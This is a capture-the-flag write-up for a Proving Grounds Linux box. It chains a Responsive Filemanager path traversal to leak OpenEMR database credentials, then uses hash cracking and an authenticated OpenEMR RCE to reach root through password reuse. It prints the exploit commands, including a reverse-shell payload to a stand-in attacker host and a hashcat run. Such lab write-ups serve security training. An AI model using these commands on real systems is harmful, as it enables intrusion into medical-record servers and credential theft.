# Apex Writeup - Proving Grounds

> Intermediate Linux box chaining a Responsive Filemanager path traversal to leak OpenEMR's database credentials, cracking the dumped admin bcrypt hash for an authenticated OpenEMR RCE, then reusing the database password to escalate to root.

- **URL:** https://hackindex.io/writeups/apex
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** path-traversal, rce, hash-cracking, credential-reuse, openemr, mysql
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Apex exposes a hospital web stack where a vulnerable Responsive Filemanager instance leaks OpenEMR's database credentials through path traversal. Those credentials unlock OpenEMR's MySQL database, whose cracked admin hash drives an authenticated OpenEMR RCE for a www-data shell, and the same database password is reused for root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE     VERSION
# 80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))
# 445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu
# 3306/tcp open  mysql       MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
```

Three services: a web server, SMB, and MySQL. All three end up playing a role in the chain.

### SMB enumeration

List and browse the available shares.

```bash
smbclient -L //$TARGET_IP
smbclient //$TARGET_IP/docs
# Sharename       Type      Comment
# ---------       ----      -------
# docs            Disk
# IPC$            IPC       IPC Service
```

Anonymous access to a `docs` share returns a handful of PDFs with nothing useful in them, but the share is writable, which matters later as a drop point for exfiltrated files.

### Web enumeration

Brute force directories on port 80.

```bash
gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt
# /filemanager/         (Status: 200)  # Responsive Filemanager 9.13.4
# /openemr/             (Status: 200)  # OpenEMR 5.0.1 login page
```

Two web applications share port 80.

## Enumeration

**Responsive Filemanager 9.13.4** at `/filemanager/` is a PHP file manager with a known path traversal in its `copy_cut` and `paste_clipboard` functions (EDB-49359), which allows arbitrary file reads outside the webroot. **OpenEMR 5.0.1** at `/openemr/` is an open-source medical records system with a known authenticated RCE (EDB-45161). The file manager's traversal leaks OpenEMR's database credentials, which unlock the RCE.

## Exploitation

### Path traversal to database credentials

Use the Responsive Filemanager path traversal exploit to copy OpenEMR's database config out to the writable SMB share.

```bash
python3 49359.py
# url_path -> "%s/filemanager/Documents/%s"
# target file -> /var/www/openemr/sites/default/sqlconf.php
```

Pull the copied file from the `docs` SMB share. It contains the OpenEMR database credentials.

```php
$host = 'localhost';
$port = '3306';
$login = 'openemr';
$pass  = '$OPENEMR_PASSWORD';
$dbase = 'openemr';
```

### MySQL enumeration

Connect with the extracted credentials and dump the admin password hash.

```bash
mysql -h $TARGET_IP -u openemr -p$OPENEMR_PASSWORD openemr
MariaDB [openemr]> SELECT username, password FROM users_secure;
# +----------+--------------------------------------------------------------+
# | username | password                                                     |
# +----------+--------------------------------------------------------------+
# | admin    | $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC |
# +----------+--------------------------------------------------------------+
```

### Cracking the hash

The hash is bcrypt (`$2a$05$`), hashcat mode 3200.

```bash
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# admin:$ADMIN_PASSWORD
```

### OpenEMR authenticated RCE (EDB-45161)

With valid admin credentials, run the OpenEMR authenticated RCE exploit. Start a listener first.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
python2 45161.py http://$TARGET_IP/openemr -u admin -p $ADMIN_PASSWORD \
  -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
```

The listener catches a shell as `www-data`. Stabilize it and check for privilege escalation paths.

## Privilege Escalation

### Database password reuse

The OpenEMR database password is reused for the system `root` account.

```bash
su -
# Password:
# root@apex:~# id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [Exploit-DB 49359](https://www.exploit-db.com/exploits/49359) - Responsive Filemanager 9.13.4 path traversal via copy_cut and paste_clipboard.
- [Exploit-DB 45161](https://www.exploit-db.com/exploits/45161) - OpenEMR 5.0.1 authenticated remote code execution.